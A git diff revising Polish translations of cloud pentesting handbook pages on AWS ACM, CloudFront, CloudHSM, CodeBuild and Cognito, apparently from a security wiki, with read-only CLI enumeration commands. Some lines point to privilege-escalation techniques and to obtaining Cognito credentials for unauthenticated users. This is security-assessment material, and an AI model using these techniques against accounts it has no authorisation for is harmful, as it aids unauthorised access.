 **AWS Certificate Manager (ACM)** jest świadczony jako usługa mająca na celu uproszczenie **provisioning, zarządzania i wdrażania certyfikatów SSL/TLS** dla usług AWS i zasobów wewnętrznych. Konieczność ręcznych procesów, takich jak zakup, przesyłanie i odnawianie certyfikatów, jest **eliminowana** przez ACM. Umożliwia to użytkownikom efektywne żądanie i wdrażanie certyfikatów na różnych zasobach AWS, w tym **Elastic Load Balancers, dystrybucjach Amazon CloudFront i API na API Gateway**.
 
-Kluczową cechą ACM jest **automatyczne odnawianie certyfikatów**, co znacząco redukuje obciążenie zarządzania. Ponadto, ACM wspiera tworzenie i centralne zarządzanie **prywatnymi certyfikatami do użytku wewnętrznego**. Chociaż certyfikaty SSL/TLS dla zintegrowanych usług AWS, takich jak Elastic Load Balancing, Amazon CloudFront i Amazon API Gateway, są dostarczane bez dodatkowych kosztów przez ACM, użytkownicy są odpowiedzialni za koszty związane z zasobami AWS wykorzystywanymi przez ich aplikacje oraz miesięczną opłatę za każdy **prywatny urząd certyfikacji (CA)** i prywatne certyfikaty używane poza zintegrowanymi usługami ACM.
+Kluczową cechą ACM jest **automatyczne odnawianie certyfikatów**, co znacząco redukuje obciążenie zarządzania. Ponadto, ACM wspiera tworzenie i centralne zarządzanie **prywatnymi certyfikatami do użytku wewnętrznego**. Chociaż certyfikaty SSL/TLS dla zintegrowanych usług AWS, takich jak Elastic Load Balancing, Amazon CloudFront i Amazon API Gateway, są dostarczane bez dodatkowych kosztów przez ACM, użytkownicy są odpowiedzialni za koszty związane z zasobami AWS wykorzystywanymi przez ich aplikacje oraz miesięczną opłatę za każdą **prywatną jednostkę certyfikacyjną (CA)** i prywatne certyfikaty używane poza zintegrowanymi usługami ACM.
 
-**AWS Private Certificate Authority** jest oferowana jako **zarządzana usługa prywatnego CA**, zwiększająca możliwości ACM poprzez rozszerzenie zarządzania certyfikatami o prywatne certyfikaty. Te prywatne certyfikaty są niezbędne do uwierzytelniania zasobów w organizacji.
+**AWS Private Certificate Authority** jest oferowana jako **zarządzana usługa prywatnej CA**, rozszerzająca możliwości ACM poprzez dodanie zarządzania certyfikatami do prywatnych certyfikatów. Te prywatne certyfikaty są niezbędne do uwierzytelniania zasobów w organizacji.
 
 ## Enumeracja
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
index 37b14ac13..410df63f9 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
@@ -4,7 +4,7 @@
 
 ## CloudFormation
 
-AWS CloudFormation to usługa zaprojektowana w celu **usprawnienia zarządzania zasobami AWS**. Umożliwia użytkownikom skupienie się bardziej na ich aplikacjach działających w AWS, **minimalizując czas poświęcony na zarządzanie zasobami**. Główna cecha tej usługi to **szablon**—opisowy model pożądanych zasobów AWS. Po dostarczeniu tego szablonu, CloudFormation jest odpowiedzialny za **provisioning i konfigurację** określonych zasobów. Ta automatyzacja ułatwia bardziej efektywne i bezbłędne zarządzanie infrastrukturą AWS.
+AWS CloudFormation to usługa zaprojektowana w celu **usprawnienia zarządzania zasobami AWS**. Umożliwia użytkownikom skupienie się bardziej na ich aplikacjach działających w AWS, **minimalizując czas poświęcony na zarządzanie zasobami**. Kluczową cechą tej usługi jest **szablon**—opisowy model pożądanych zasobów AWS. Po dostarczeniu tego szablonu, CloudFormation jest odpowiedzialny za **provisioning i konfigurację** określonych zasobów. Ta automatyzacja ułatwia bardziej efektywne i bezbłędne zarządzanie infrastrukturą AWS.
 
 ### Enumeration
 ```bash
@@ -58,7 +58,7 @@ aws codestar describe-user-profile --user-arn <arn>
 ```
 ### Privesc
 
-Na następnej stronie możesz sprawdzić, jak **nadużyć uprawnień codestar, aby eskalować przywileje**:
+Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień codestar, aby eskalować przywileje**:
 
 {{#ref}}
 ../aws-privilege-escalation/aws-codestar-privesc/
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
index 7081b1e21..131f7fce0 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
@@ -4,9 +4,9 @@
 
 ## CloudFront
 
-CloudFront to **sieć dostarczania treści AWS, która przyspiesza dystrybucję** Twojej statycznej i dynamicznej zawartości za pośrednictwem swojej globalnej sieci lokalizacji brzegowych. Gdy korzystasz z treści, którą hostujesz za pośrednictwem Amazon CloudFront, żądanie jest kierowane do najbliższej lokalizacji brzegowej, co zapewnia najniższą latencję, aby dostarczyć najlepszą wydajność. Gdy **dzienniki dostępu CloudFront** są włączone, możesz rejestrować żądania od każdego użytkownika żądającego dostępu do Twojej witryny i dystrybucji. Podobnie jak w przypadku dzienników dostępu S3, te dzienniki są również **przechowywane na Amazon S3 dla trwałego i stałego przechowywania**. Nie ma opłat za włączenie samego logowania, jednak ponieważ dzienniki są przechowywane w S3, będziesz obciążony za przechowywanie używane przez S3.
+CloudFront to **sieć dostarczania treści AWS, która przyspiesza dystrybucję** Twojej statycznej i dynamicznej zawartości poprzez swoją światową sieć lokalizacji brzegowych. Gdy korzystasz z treści, którą hostujesz za pośrednictwem Amazon CloudFront, żądanie jest kierowane do najbliższej lokalizacji brzegowej, co zapewnia najniższą latencję, aby dostarczyć najlepszą wydajność. Gdy **dzienniki dostępu CloudFront** są włączone, możesz rejestrować żądania od każdego użytkownika żądającego dostępu do Twojej witryny i dystrybucji. Podobnie jak w przypadku dzienników dostępu S3, te dzienniki są również **przechowywane na Amazon S3 dla trwałego i persistentnego przechowywania**. Nie ma opłat za włączenie samego logowania, jednakże, ponieważ dzienniki są przechowywane w S3, będziesz obciążony za przechowywanie używane przez S3.
 
-Pliki dzienników rejestrują dane przez pewien czas, a w zależności od liczby żądań, które otrzymuje Amazon CloudFront dla tej dystrybucji, zależy od ilości generowanych plików dzienników. Ważne jest, aby wiedzieć, że te pliki dzienników nie są tworzone ani zapisywane na S3. S3 to po prostu miejsce, do którego są dostarczane, gdy plik dziennika jest pełny. **Amazon CloudFront przechowuje te dzienniki, aż będą gotowe do dostarczenia do S3**. Ponownie, w zależności od rozmiaru tych plików dzienników, dostarczenie to może zająć **od jednej do 24 godzin**.
+Pliki dzienników rejestrują dane przez pewien czas, a w zależności od liczby żądań, które są odbierane przez Amazon CloudFront dla tej dystrybucji, zależy to od liczby generowanych plików dzienników. Ważne jest, aby wiedzieć, że te pliki dzienników nie są tworzone ani zapisywane na S3. S3 to po prostu miejsce, do którego są dostarczane, gdy plik dziennika jest pełny. **Amazon CloudFront przechowuje te dzienniki, aż będą gotowe do dostarczenia do S3**. Ponownie, w zależności od rozmiaru tych plików dzienników, ta dostawa może zająć **od jednej do 24 godzin**.
 
 **Domyślnie logowanie ciasteczek jest wyłączone**, ale możesz je włączyć.
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md
index 650d782ea..69163512a 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md
@@ -4,34 +4,34 @@
 
 ## HSM - Hardware Security Module
 
-Cloud HSM to walidowane urządzenie **sprzętowe** na poziomie FIPS 140 poziom dwa do bezpiecznego przechowywania kluczy kryptograficznych (zauważ, że CloudHSM to urządzenie sprzętowe, nie jest to usługa wirtualizowana). Jest to urządzenie SafeNetLuna 7000 z wstępnie załadowanym oprogramowaniem 5.3.13. Istnieją dwie wersje oprogramowania układowego, a wybór zależy od Twoich dokładnych potrzeb. Jedna jest zgodna z FIPS 140-2, a druga to nowsza wersja, która może być używana.
+Cloud HSM to walidowane na poziomie FIPS 140 dwa **urządzenie sprzętowe** do bezpiecznego przechowywania kluczy kryptograficznych (zauważ, że CloudHSM to urządzenie sprzętowe, a nie usługa wirtualizowana). Jest to urządzenie SafeNetLuna 7000 z wstępnie załadowanym oprogramowaniem 5.3.13. Istnieją dwie wersje oprogramowania układowego, a wybór zależy od Twoich dokładnych potrzeb. Jedna jest zgodna z FIPS 140-2, a druga to nowsza wersja, która może być używana.
 
-Niezwykłą cechą CloudHSM jest to, że jest to fizyczne urządzenie, a zatem **nie jest dzielone z innymi klientami**, lub jak to się powszechnie określa, multi-tenant. Jest to dedykowane urządzenie dla jednego najemcy, które jest udostępniane wyłącznie dla Twoich obciążeń.
+Niezwykłą cechą CloudHSM jest to, że jest to fizyczne urządzenie, a zatem **nie jest dzielone z innymi klientami**, lub jak to się powszechnie określa, multi-tenant. Jest to dedykowane urządzenie dla jednego najemcy, które jest dostępne wyłącznie dla Twoich obciążeń.
 
 Zazwyczaj urządzenie jest dostępne w ciągu 15 minut, zakładając, że jest dostępna pojemność, ale w niektórych strefach może nie być.
 
-Ponieważ jest to fizyczne urządzenie dedykowane dla Ciebie, **klucze są przechowywane na urządzeniu**. Klucze muszą być **replikowane na inne urządzenie**, archiwizowane w offline lub eksportowane do urządzenia zapasowego. **To urządzenie nie jest wspierane** przez S3 ani żadną inną usługę w AWS, taką jak KMS.
+Ponieważ jest to fizyczne urządzenie dedykowane dla Ciebie, **klucze są przechowywane na urządzeniu**. Klucze muszą być **replikowane na inne urządzenie**, archiwizowane w offline storage lub eksportowane do urządzenia zapasowego. **To urządzenie nie jest wspierane** przez S3 ani żadną inną usługę w AWS, taką jak KMS.
 
 W **CloudHSM** musisz **samodzielnie skalować usługę**. Musisz przydzielić wystarczającą liczbę urządzeń CloudHSM, aby obsłużyć Twoje potrzeby związane z szyfrowaniem, w oparciu o algorytmy szyfrowania, które wybrałeś do wdrożenia w swoim rozwiązaniu.\
-Skalowanie usługi zarządzania kluczami jest realizowane przez AWS i automatycznie skaluje się na żądanie, więc w miarę wzrostu Twojego użycia, może wzrosnąć również liczba wymaganych urządzeń CloudHSM. Pamiętaj o tym, gdy skalujesz swoje rozwiązanie, a jeśli Twoje rozwiązanie ma automatyczne skalowanie, upewnij się, że maksymalna skala jest uwzględniona z wystarczającą liczbą urządzeń CloudHSM do obsługi rozwiązania.
+Skalowanie usługi zarządzania kluczami jest realizowane przez AWS i automatycznie skaluje się na żądanie, więc w miarę wzrostu Twojego użycia, może wzrosnąć również liczba wymaganych urządzeń CloudHSM. Pamiętaj o tym, gdy skalujesz swoje rozwiązanie, a jeśli Twoje rozwiązanie ma automatyczne skalowanie, upewnij się, że maksymalna skala jest uwzględniona z wystarczającą liczbą urządzeń CloudHSM, aby obsłużyć rozwiązanie.
 
-Podobnie jak w przypadku skalowania, **wydajność zależy od Ciebie w CloudHSM**. Wydajność różni się w zależności od używanego algorytmu szyfrowania oraz od tego, jak często musisz uzyskiwać dostęp do kluczy lub je pobierać, aby zaszyfrować dane. Wydajność usługi zarządzania kluczami jest obsługiwana przez Amazon i automatycznie skaluje się w miarę potrzeb. Wydajność CloudHSM osiąga się poprzez dodawanie większej liczby urządzeń, a jeśli potrzebujesz większej wydajności, dodajesz urządzenia lub zmieniasz metodę szyfrowania na algorytm, który jest szybszy.
+Podobnie jak w przypadku skalowania, **wydajność zależy od Ciebie w CloudHSM**. Wydajność różni się w zależności od używanego algorytmu szyfrowania oraz od tego, jak często musisz uzyskiwać dostęp lub pobierać klucze do szyfrowania danych. Wydajność usługi zarządzania kluczami jest obsługiwana przez Amazon i automatycznie skaluje się w miarę potrzeb. Wydajność CloudHSM osiąga się poprzez dodawanie większej liczby urządzeń, a jeśli potrzebujesz większej wydajności, dodajesz urządzenia lub zmieniasz metodę szyfrowania na algorytm, który jest szybszy.
 
-Jeśli Twoje rozwiązanie jest **wieloregionowe**, powinieneś dodać kilka **urządzeń CloudHSM w drugim regionie i ustalić łączność międzyregionową za pomocą prywatnego połączenia VPN** lub jakiejś metody, aby zapewnić, że ruch jest zawsze chroniony na każdym poziomie połączenia. Jeśli masz rozwiązanie wieloregionowe, musisz pomyśleć o tym, jak **replikować klucze i skonfigurować dodatkowe urządzenia CloudHSM w regionach, w których działasz**. Możesz bardzo szybko znaleźć się w sytuacji, w której masz sześć lub osiem urządzeń rozproszonych w wielu regionach, co umożliwia pełną redundancję Twoich kluczy szyfrowania.
+Jeśli Twoje rozwiązanie jest **multi-region**, powinieneś dodać kilka **urządzeń CloudHSM w drugim regionie i ustalić łączność międzyregionową za pomocą prywatnego połączenia VPN** lub jakiejś metody, aby zapewnić, że ruch jest zawsze chroniony między urządzeniem na każdym poziomie połączenia. Jeśli masz rozwiązanie multi-region, musisz pomyśleć o tym, jak **replikować klucze i skonfigurować dodatkowe urządzenia CloudHSM w regionach, w których działasz**. Możesz bardzo szybko znaleźć się w sytuacji, w której masz sześć lub osiem urządzeń rozproszonych w wielu regionach, co umożliwia pełną redundancję Twoich kluczy szyfrowania.
 
-**CloudHSM** to usługa klasy enterprise do zabezpieczonego przechowywania kluczy i może być używana jako **punkt zaufania dla przedsiębiorstwa**. Może przechowywać klucze prywatne w PKI i klucze autorytetów certyfikacji w implementacjach X509. Oprócz kluczy symetrycznych używanych w algorytmach symetrycznych, takich jak AES, **KMS przechowuje i fizycznie chroni tylko klucze symetryczne (nie może działać jako autorytet certyfikacji)**, więc jeśli musisz przechowywać klucze PKI i CA, jedno lub dwa urządzenia CloudHSM mogą być Twoim rozwiązaniem.
+**CloudHSM** to usługa klasy enterprise do zabezpieczonego przechowywania kluczy i może być używana jako **root of trust dla przedsiębiorstwa**. Może przechowywać klucze prywatne w PKI i klucze autorytetu certyfikacji w implementacjach X509. Oprócz kluczy symetrycznych używanych w algorytmach symetrycznych, takich jak AES, **KMS przechowuje i fizycznie chroni tylko klucze symetryczne (nie może działać jako autorytet certyfikacji)**, więc jeśli musisz przechowywać klucze PKI i CA, jeden lub dwa lub trzy CloudHSM mogą być Twoim rozwiązaniem.
 
-**CloudHSM jest znacznie droższy niż usługa zarządzania kluczami**. CloudHSM to urządzenie sprzętowe, więc masz stałe koszty związane z przydzieleniem urządzenia CloudHSM, a następnie koszt godzinowy za uruchomienie urządzenia. Koszt jest mnożony przez liczbę urządzeń CloudHSM, które są wymagane do spełnienia Twoich specyficznych wymagań.\
-Dodatkowo, należy uwzględnić koszty zakupu oprogramowania firm trzecich, takich jak zestawy oprogramowania SafeNet ProtectV oraz czas i wysiłek związany z integracją. Usługa zarządzania kluczami jest oparta na użyciu i zależy od liczby kluczy, które posiadasz, oraz operacji wejścia i wyjścia. Ponieważ zarządzanie kluczami zapewnia bezproblemową integrację z wieloma usługami AWS, koszty integracji powinny być znacznie niższe. Koszty powinny być uważane za czynnik drugorzędny w rozwiązaniach szyfrowania. Szyfrowanie jest zazwyczaj używane dla bezpieczeństwa i zgodności.
+**CloudHSM jest znacznie droższy niż usługa zarządzania kluczami**. CloudHSM to urządzenie sprzętowe, więc masz stałe koszty związane z przydzieleniem urządzenia CloudHSM, a następnie koszt godzinowy za uruchomienie urządzenia. Koszt jest mnożony przez liczbę wymaganych urządzeń CloudHSM, aby osiągnąć Twoje specyficzne wymagania.\
+Dodatkowo, należy uwzględnić koszty zakupu oprogramowania firm trzecich, takich jak zestawy oprogramowania SafeNet ProtectV oraz czas i wysiłek związany z integracją. Usługa zarządzania kluczami jest oparta na użyciu i zależy od liczby kluczy, które posiadasz, oraz operacji wejścia i wyjścia. Ponieważ zarządzanie kluczami zapewnia bezproblemową integrację z wieloma usługami AWS, koszty integracji powinny być znacznie niższe. Koszty powinny być traktowane jako czynnik drugorzędny w rozwiązaniach szyfrowania. Szyfrowanie jest zazwyczaj używane dla bezpieczeństwa i zgodności.
 
-**Tylko Ty masz dostęp do kluczy w CloudHSM** i nie wchodząc w zbyt wiele szczegółów, w CloudHSM zarządzasz swoimi własnymi kluczami. **W KMS Ty i Amazon współzarządzacie swoimi kluczami**. AWS ma wiele zabezpieczeń politycznych przeciwko nadużyciom i **nadal nie może uzyskać dostępu do Twoich kluczy w żadnym z rozwiązań**. Główna różnica polega na zgodności, jeśli chodzi o własność i zarządzanie kluczami, a w CloudHSM jest to urządzenie sprzętowe, którym zarządzasz i utrzymujesz z wyłącznym dostępem tylko dla Ciebie.
+**Tylko Ty masz dostęp do kluczy w CloudHSM** i nie wchodząc w zbyt wiele szczegółów, w CloudHSM zarządzasz swoimi własnymi kluczami. **W KMS Ty i Amazon współzarządzacie swoimi kluczami**. AWS ma wiele zabezpieczeń politycznych przeciwko nadużyciom i **nadal nie może uzyskać dostępu do Twoich kluczy w żadnym z rozwiązań**. Główna różnica dotyczy zgodności w odniesieniu do własności i zarządzania kluczami, a w CloudHSM jest to urządzenie sprzętowe, którym zarządzasz i które utrzymujesz z wyłącznym dostępem tylko dla Ciebie.
 
-### Sugestie dotyczące CloudHSM
+### CloudHSM Suggestions
 
 1. Zawsze wdrażaj CloudHSM w **konfiguracji HA** z co najmniej dwoma urządzeniami w **oddzielnych strefach dostępności**, a jeśli to możliwe, wdroż trzeci, albo lokalnie, albo w innym regionie w AWS.
 2. Bądź ostrożny podczas **inicjalizacji** **CloudHSM**. Ta akcja **zniszczy klucze**, więc albo miej inną kopię kluczy, albo bądź absolutnie pewny, że ich nie potrzebujesz i nigdy, przenigdy nie będziesz potrzebować tych kluczy do odszyfrowania jakichkolwiek danych.
-3. CloudHSM tylko **obsługuje określone wersje oprogramowania układowego** i oprogramowania. Przed wykonaniem jakiejkolwiek aktualizacji upewnij się, że oprogramowanie układowe lub oprogramowanie jest obsługiwane przez AWS. Zawsze możesz skontaktować się z pomocą techniczną AWS, aby zweryfikować, czy przewodnik aktualizacji jest niejasny.
-4. **Konfiguracja sieci nigdy nie powinna być zmieniana.** Pamiętaj, że znajduje się w centrum danych AWS, a AWS monitoruje podstawowy sprzęt za Ciebie. Oznacza to, że jeśli sprzęt zawiedzie, wymienią go za Ciebie, ale tylko jeśli będą wiedzieć, że zawiódł.
+3. CloudHSM obsługuje tylko **określone wersje oprogramowania układowego** i oprogramowania. Przed wykonaniem jakiejkolwiek aktualizacji upewnij się, że oprogramowanie układowe i/lub oprogramowanie jest obsługiwane przez AWS. Zawsze możesz skontaktować się z pomocą techniczną AWS, aby zweryfikować, czy przewodnik aktualizacji jest niejasny.
+4. **Konfiguracja sieciowa nigdy nie powinna być zmieniana.** Pamiętaj, że znajduje się w centrum danych AWS, a AWS monitoruje podstawowy sprzęt za Ciebie. Oznacza to, że jeśli sprzęt zawiedzie, wymienią go za Ciebie, ale tylko jeśli wiedzą, że zawiódł.
 5. **Przekazywanie SysLog nie powinno być usuwane ani zmieniane**. Zawsze możesz **dodać** przekaznik SysLog, aby skierować logi do swojego narzędzia zbierającego.
 6. Konfiguracja **SNMP** ma te same podstawowe ograniczenia co sieć i folder SysLog. To **nie powinno być zmieniane ani usuwane**. Dodatkowa konfiguracja SNMP jest w porządku, po prostu upewnij się, że nie zmieniasz tej, która już znajduje się na urządzeniu.
 7. Inną interesującą najlepszą praktyką od AWS jest **niezmienianie konfiguracji NTP**. Nie jest jasne, co by się stało, gdybyś to zrobił, więc pamiętaj, że jeśli nie używasz tej samej konfiguracji NTP dla reszty swojego rozwiązania, możesz mieć dwa źródła czasu. Po prostu bądź tego świadomy i wiedz, że CloudHSM musi pozostać przy istniejącym źródle NTP.
@@ -42,7 +42,7 @@ Najczęstszym powodem korzystania z CloudHSM są standardy zgodności, które mu
 
 **Klucz publiczny jest instalowany na urządzeniu HSM podczas przydzielania**, abyś mógł uzyskać dostęp do instancji CloudHSM za pomocą SSH.
 
-### Czym jest moduł bezpieczeństwa sprzętowego
+### Co to jest moduł bezpieczeństwa sprzętowego
 
 Moduł bezpieczeństwa sprzętowego (HSM) to dedykowane urządzenie kryptograficzne, które służy do generowania, przechowywania i zarządzania kluczami kryptograficznymi oraz ochrony wrażliwych danych. Został zaprojektowany w celu zapewnienia wysokiego poziomu bezpieczeństwa poprzez fizyczne i elektroniczne izolowanie funkcji kryptograficznych od reszty systemu.
 
@@ -52,13 +52,13 @@ Sposób działania HSM może się różnić w zależności od konkretnego modelu
 2. **Przechowywanie kluczy**: Klucz jest **bezpiecznie przechowywany w HSM, gdzie może być dostępny tylko dla autoryzowanych użytkowników lub procesów**.
 3. **Zarządzanie kluczami**: HSM zapewnia szereg funkcji zarządzania kluczami, w tym rotację kluczy, kopie zapasowe i unieważnianie.
 4. **Operacje kryptograficzne**: HSM wykonuje szereg operacji kryptograficznych, w tym szyfrowanie, deszyfrowanie, podpis cyfrowy i wymianę kluczy. Operacje te są **wykonywane w bezpiecznym środowisku HSM**, co chroni przed nieautoryzowanym dostępem i manipulacją.
-5. **Rejestrowanie audytów**: HSM rejestruje wszystkie operacje kryptograficzne i próby dostępu, które mogą być używane do celów zgodności i audytu bezpieczeństwa.
+5. **Rejestrowanie audytów**: HSM rejestruje wszystkie operacje kryptograficzne i próby dostępu, które mogą być używane do celów audytu zgodności i bezpieczeństwa.
 
 HSM mogą być używane w szerokim zakresie zastosowań, w tym w bezpiecznych transakcjach online, certyfikatach cyfrowych, bezpiecznej komunikacji i szyfrowaniu danych. Często są używane w branżach, które wymagają wysokiego poziomu bezpieczeństwa, takich jak finanse, opieka zdrowotna i rząd.
 
-Ogólnie rzecz biorąc, wysoki poziom bezpieczeństwa zapewniany przez HSM sprawia, że **bardzo trudno jest wydobyć surowe klucze z nich, a próba ich wydobycia jest często uważana za naruszenie bezpieczeństwa**. Jednak mogą istnieć **pewne scenariusze**, w których **surowy klucz mógłby być wydobyty** przez upoważniony personel w określonych celach, takich jak w przypadku procedury odzyskiwania kluczy.
+Ogólnie rzecz biorąc, wysoki poziom bezpieczeństwa zapewniany przez HSM sprawia, że **bardzo trudno jest wydobyć surowe klucze z nich, a próba ich wydobycia jest często uważana za naruszenie bezpieczeństwa**. Jednak mogą istnieć **pewne scenariusze**, w których **surowy klucz mógłby zostać wydobyty** przez upoważniony personel w określonych celach, na przykład w przypadku procedury odzyskiwania kluczy.
 
-### Enumeracja
+### Enumeration
 ```
 TODO
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
index f86fb679f..22ebfcee5 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
@@ -4,7 +4,7 @@
 
 ## CodeBuild
 
-AWS **CodeBuild** jest uznawany za **w pełni zarządzaną usługę ciągłej integracji**. Głównym celem tej usługi jest automatyzacja sekwencji kompilacji kodu źródłowego, wykonywania testów i pakowania oprogramowania do celów wdrożeniowych. Główną korzyścią oferowaną przez CodeBuild jest jego zdolność do odciążenia użytkowników od konieczności provisionowania, zarządzania i skalowania serwerów budowlanych. Ta wygoda wynika z faktu, że sama usługa zarządza tymi zadaniami. Kluczowe funkcje AWS CodeBuild obejmują:
+AWS **CodeBuild** jest uznawany za **w pełni zarządzaną usługę ciągłej integracji**. Głównym celem tej usługi jest automatyzacja sekwencji kompilacji kodu źródłowego, wykonywania testów i pakowania oprogramowania do celów wdrożeniowych. Główną korzyścią oferowaną przez CodeBuild jest jego zdolność do uwolnienia użytkowników od konieczności provisionowania, zarządzania i skalowania serwerów budowlanych. Ta wygoda wynika z faktu, że sama usługa zarządza tymi zadaniami. Kluczowe funkcje AWS CodeBuild obejmują:
 
 1. **Zarządzana usługa**: CodeBuild zarządza i skaluje serwery budowlane, uwalniając użytkowników od konserwacji serwerów.
 2. **Ciągła integracja**: Integruje się z przepływem pracy rozwoju i wdrożenia, automatyzując fazy budowy i testowania procesu wydania oprogramowania.
@@ -16,7 +16,7 @@ AWS CodeBuild bezproblemowo integruje się z innymi usługami AWS, zwiększając
 
 #### **Domyślne poświadczenia źródłowe**
 
-To jest opcja dziedziczona, w której możliwe jest skonfigurowanie pewnych **dostępów** (jak token Github lub aplikacja), które będą **dzielone między projektami codebuild**, aby wszystkie projekty mogły korzystać z tej skonfigurowanej grupy poświadczeń.
+To jest opcja legacy, w której możliwe jest skonfigurowanie pewnych **dostępów** (jak token Github lub aplikacja), które będą **dzielone między projektami codebuild**, aby wszystkie projekty mogły korzystać z tej skonfigurowanej grupy poświadczeń.
 
 Przechowywane poświadczenia (tokeny, hasła...) są **zarządzane przez codebuild** i nie ma publicznego sposobu na ich odzyskanie z interfejsów API AWS.
 
@@ -49,7 +49,7 @@ aws codebuild describe-test-cases --report-arn <ARN>
 ```
 ### Privesc
 
-Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień codebuild, aby eskalować przywileje**:
+Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień codebuild, aby eskalować uprawnienia**:
 
 {{#ref}}
 ../aws-privilege-escalation/aws-codebuild-privesc.md
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
index e917415aa..c5c893918 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
@@ -9,7 +9,7 @@ Amazon Cognito jest wykorzystywany do **uwierzytelniania, autoryzacji i zarządz
 Centralnym elementem Amazon Cognito są dwa główne komponenty:
 
 1. **User Pools**: To katalogi zaprojektowane dla użytkowników Twojej aplikacji, oferujące **funkcjonalności rejestracji i logowania**.
-2. **Identity Pools**: Te pule są kluczowe w **autoryzacji użytkowników do uzyskiwania dostępu do różnych usług AWS**. Nie są bezpośrednio zaangażowane w proces logowania lub rejestracji, ale są niezbędne do uzyskania dostępu do zasobów po uwierzytelnieniu.
+2. **Identity Pools**: Te pule są kluczowe w **autoryzacji użytkowników do dostępu do różnych usług AWS**. Nie biorą bezpośrednio udziału w procesie logowania ani rejestracji, ale są niezbędne do uzyskania dostępu do zasobów po uwierzytelnieniu.
 
 ### **User pools**
 
@@ -73,7 +73,7 @@ aws cognito-idp describe-risk-configuration --user-pool-id <user-pool-id>
 ```
 ### Identity Pools - Nieużytkownikowa Enumeracja
 
-Just **znając ID Puli Tożsamości** możesz być w stanie **uzyskać poświadczenia roli związanej z użytkownikami nieautoryzowanymi** (jeśli takie istnieją). [**Sprawdź jak tutaj**](cognito-identity-pools.md#accessing-iam-roles).
+Zaledwie **znając ID Puli Tożsamości** możesz być w stanie **uzyskać poświadczenia roli związanej z użytkownikami nieautoryzowanymi** (jeśli takie istnieją). [**Sprawdź jak tutaj**](cognito-identity-pools.md#accessing-iam-roles).
 
 ### User Pools - Nieużytkownikowa Enumeracja
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md
index 3907cc2c2..31383dcc0 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md
@@ -4,13 +4,13 @@
 
 ## Podstawowe informacje
 
-Identity pools odgrywają kluczową rolę, umożliwiając użytkownikom **uzyskanie tymczasowych poświadczeń**. Poświadczenia te są niezbędne do uzyskania dostępu do różnych usług AWS, w tym, ale nie tylko, Amazon S3 i DynamoDB. Ciekawą cechą identity pools jest ich wsparcie zarówno dla anonimowych użytkowników gości, jak i dla różnych dostawców tożsamości do uwierzytelniania użytkowników. Obsługiwane dostawcy tożsamości to:
+Identity pools odgrywają kluczową rolę, umożliwiając użytkownikom **uzyskanie tymczasowych poświadczeń**. Poświadczenia te są niezbędne do uzyskania dostępu do różnych usług AWS, w tym między innymi Amazon S3 i DynamoDB. Ciekawą cechą identity pools jest ich wsparcie zarówno dla anonimowych użytkowników gości, jak i dla różnych dostawców tożsamości w celu uwierzytelnienia użytkowników. Obsługiwane dostawcy tożsamości obejmują:
 
 - Amazon Cognito user pools
 - Opcje logowania społecznościowego, takie jak Facebook, Google, Login with Amazon i Sign in with Apple
 - Dostawcy zgodni z OpenID Connect (OIDC)
 - Dostawcy tożsamości SAML (Security Assertion Markup Language)
-- Tożsamości uwierzytelniane przez dewelopera
+- Tożsamości uwierzytelnione przez dewelopera
 ```python
 # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
 import boto3
@@ -35,7 +35,7 @@ print(response)
 ```
 ### Cognito Sync
 
-Aby wygenerować sesje Identity Pool, najpierw musisz **wygenerować Identity ID**. Ten Identity ID jest **identyfikacją sesji tego użytkownika**. Te identyfikacje mogą mieć do 20 zestawów danych, które mogą przechowywać do 1MB par klucz-wartość.
+Aby wygenerować sesje Identity Pool, najpierw musisz **wygenerować Identity ID**. Ten Identity ID to **identyfikacja sesji tego użytkownika**. Te identyfikacje mogą mieć do 20 zestawów danych, które mogą przechowywać do 1MB par klucz-wartość.
 
 To jest **przydatne do przechowywania informacji o użytkowniku** (który zawsze będzie używał tego samego Identity ID).
 
@@ -43,19 +43,19 @@ Ponadto, usługa **cognito-sync** to usługa, która pozwala na **zarządzanie i
 
 ### Tools for pentesting
 
